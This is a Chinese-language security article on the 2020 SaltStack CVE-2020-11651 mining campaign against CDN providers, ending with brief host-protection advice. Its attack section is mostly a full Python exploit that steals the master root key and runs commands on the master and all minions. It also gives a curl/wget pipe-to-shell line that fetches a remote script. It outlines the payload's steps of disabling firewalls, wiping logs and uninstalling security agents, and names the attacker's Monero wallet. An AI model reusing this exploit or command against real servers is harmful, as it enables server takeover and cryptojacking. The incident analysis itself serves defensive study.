淺談CDN網(wǎng)絡(luò)安全防護方案

來源:嘶吼
作者:bt0sea
時間:2020-12-23
2315
今天通過SaltStack漏洞這個藥引子,聊聊CDN網(wǎng)絡(luò)安全防護這個話題。

0x00、前言

今天通過SaltStack漏洞這個藥引子,聊聊CDN網(wǎng)絡(luò)安全防護這個話題。先聊聊,CDN定義:Content Delivery Network,內(nèi)容分發(fā)網(wǎng)絡(luò),給用戶帶來的價值,加速獲得其靜態(tài)或者動態(tài)內(nèi)容,典型的應(yīng)用場景,360安全衛(wèi)士中的軟件安裝,后臺使用的就CDN網(wǎng)絡(luò)。在比如目前比較火的抖音短視頻,用戶在某個地方上傳視頻后,幾億的用戶都可以快速看到,很難想象,如果這個短視頻在一臺服務(wù)器上,幾千萬人同時去下載,網(wǎng)絡(luò)堵塞延遲會多大?

再聊聊SaltStack,是一個服務(wù)器基礎(chǔ)架構(gòu)集中化管理平臺,幾分鐘之內(nèi)就可以運行起來,速度特別快,服務(wù)器之間秒級通訊,擴展性好,很容易批量管理上萬臺服務(wù)器,顯著的降低人力與運維成本。它是簡化版的puppet,saltstack基于Python語言實現(xiàn),結(jié)合輕量級消息隊列(ZeroMQ),Python第三方模塊(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)構(gòu)建,SaltStack是一套C/S架構(gòu)的運維工具,服務(wù)端口默認(rèn)為4505/4506,兩個端口如果對外網(wǎng)開放危害非常大。

目前商業(yè)化的CDN絕大部分都在使用SaltStack做軟件分發(fā)系統(tǒng)。黑客利用SaltStack的遠(yuǎn)程命令執(zhí)行漏洞CVE-2020-11651可以直接繞過Salt-Master的認(rèn)證機制,調(diào)用相關(guān)函數(shù)向Salt-Minion下發(fā)指令執(zhí)行系統(tǒng)命令,最終導(dǎo)致挖礦。

0x01、攻擊詳情

1588945785303621.png

1、通過網(wǎng)絡(luò)空間搜索引擎https://www.shodan.io/等獲取 外網(wǎng)開發(fā)SaltStack master的主機列表。

2、通過cve-2020-11651.py批量執(zhí)行,下載sa.sh腳本。獲取到master key,在幾分鐘內(nèi)就會吧命令傳遞到cdn服務(wù)器連接的client,*山云大約有幾千臺機器就是這么感染的。(curl -s x.x.x.x/sa.sh||wget -q -O- x.x.x.x/sa.sh)|sh

def ping_master():

    print("Attempting to ping master at "+master_ip)

    try:

        msg = {"cmd":"ping"}

        response = clear_channel.send(msg, timeout=3)

        if response:

            return True

    except salt.exceptions.SaltReqTimeoutError:

        return False

    return False

def get_rootkey():

    try:

        response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)

        for i in response:

            if isinstance(i,dict) and len(i) == 1:

                rootkey = list(i.values())[0]

                print("Retrieved root key: " + rootkey)

                return rootkey

        return False

    except:

        return False

def send_command_to_minions(command):

    print("Sending command to all minions on master")

    jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())

    cmd = "/bin/sh -c '{0}'".format(command)

    msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}

    try:

        response = clear_channel.send(msg,timeout=3)

        if response == None:

            return True

        else:

            return False

    except:

        return False

def master_shell(root_key,command):

    msg = {"key":root_key,

            "cmd":"runner",

            'fun': 'salt.cmd',

            "kwarg":{

                "fun":"cmd.exec_code",

                "lang":"python3",

                "code":"import subprocess;subprocess.call('{}',shell=True)".format(command)

                },

            'jid': '20200504042611133934',

            'user': 'sudo_user',

            '_stamp': '2020-05-04T04:26:13.609688'}

    try:

        response = clear_channel.send(msg,timeout=3)

        print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")

        return True

    except:

        print("something failed")

        return False

if __name__=="__main__":

    if len(sys.argv) <= 2:

        print("Not enough args")

        print("Use like python3 cve-2020-11651.py)

        sys.exit(1)

    target = sys.argv[1]

    master_minion_root = sys.argv[2]

    master_ip = target

    master_port = '4506'

    minion_config = {

    'transport': 'zeromq',

    'pki_dir': '/tmp',

    'id': 'root',

    'log_level': 'debug',

    'master_ip': master_ip,

    'master_port': master_port,

    'auth_timeout': 5,

    'auth_tries': 1,

    'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)

    }

    clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

    if not ping_master():

        print("Failed to ping the specified master server, exiting")

        sys.exit(1)

    if master_minion_root == "master" or master_minion_root == "minions":

        command = sys.argv[3]

        rootkey = get_rootkey()

        if not rootkey:

            print("Failed to fetch the root key from the instance. This MAY indicate that it is patched")

            sys.exit(1)

        else:

            if master_minion_root == "master":

                master_shell(rootkey,command)

            else:

                send_command_to_minions(command)

    elif master_minion_root == "fetchkeyonly":

        get_rootkey()

    else:

        print("Invalid usage")

3、執(zhí)行sa.sh做以下操作:

@1、關(guān)閉防火墻、設(shè)置ulimit、系統(tǒng)syslog日志刪除、設(shè)置tmp目錄權(quán)限關(guān)閉watchdog,設(shè)置ssh共喲啊文件權(quán)限,清理tmp目錄等。

@2、干掉安騎士,云鏡(用齊自身卸載腳本操作),看來阿里云和騰訊云的CDN網(wǎng)絡(luò)受到嚴(yán)重的摧殘,也說明黑客分子在不斷的進(jìn)化當(dāng)中,因為很多時候,這種下載腳本在本機上有主機安全軟件的情況下,都是無效的。

@3、清理cpu資源占用超過10%的進(jìn)程,保證有更多的硬件資源可以挖礦。也間接終止其他挖礦進(jìn)程。同時清理docker形式運行的挖礦進(jìn)程。

@4、然后下載salt-store,釋放出羅門幣挖礦進(jìn)程。

4、salt-store執(zhí)行以下操作

@1、使用masscan掃描redis服務(wù)器,二進(jìn)制分析

@2、樣本傳到virustotal上發(fā)現(xiàn)連接的連接C2地址(IP地址)。

由于3、4網(wǎng)上有很多分析,我就不在贅述,不過從整個入侵過程來看,黑客搞的這個腳本目的是短平快,C2更新使用的IP而非域名,這個有點low,但是他把挖礦程序開足馬力,能挖多久就挖多久,門羅幣錢包為:

46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6Jv

VMuQwAXxLZmTWkb

這個羅門幣里面大約獲利400萬左右。正好趕上五一期間,但是黑客顯然沒有運維經(jīng)驗,CPU搞那么高,監(jiān)控肯定能發(fā)現(xiàn),大規(guī)模服務(wù)器出現(xiàn)CPU過高情況,肯定會有安全分析人員登錄服務(wù)器檢查。還有CDN會托管圖片等靜態(tài)資源,突然之間有超時的情況,也會引起重視的。估計4月30號開掃描,挖到5月3號。還有估計也沒想到會有那么多CDN服務(wù)提供商中招。

0x02、CDN安全防護方案

針對CDN這種邊緣服務(wù),其實很難設(shè)計安全防護方案,因為,CDN廠商為了節(jié)省資源,二級節(jié)點一般部署10臺二手服務(wù)器,處理帶寬40——80G。一級節(jié)點也就20臺服務(wù)器,做cache用。公有云CDN業(yè)務(wù)本身就是賠錢的買賣。你說上一套具備縱深防護體系的安全解決方案是不現(xiàn)實的。個人覺得只要在物理服務(wù)器上安裝主機安全Agent就滿足需求了。有的CDN廠商還在CDN機房擴建高防機房,復(fù)用帶寬,這種情況下,針對主機層面的網(wǎng)絡(luò)通訊流量,處理尤為重要。所以,主機安全Agent對網(wǎng)絡(luò)流量的監(jiān)控建議disable掉。主要能抓到挖礦進(jìn)程就好。

立即登錄,閱讀全文
原文鏈接:點擊前往 >
文章來源:嘶吼
版權(quán)說明:本文內(nèi)容來自于嘶吼,本站不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。文章內(nèi)容系作者個人觀點,不代表快出海對觀點贊同或支持。如有侵權(quán),請聯(lián)系管理員(zzx@kchuhai.com)刪除!
掃碼關(guān)注
獲取更多出海資訊的相關(guān)信息
優(yōu)質(zhì)服務(wù)商推薦
更多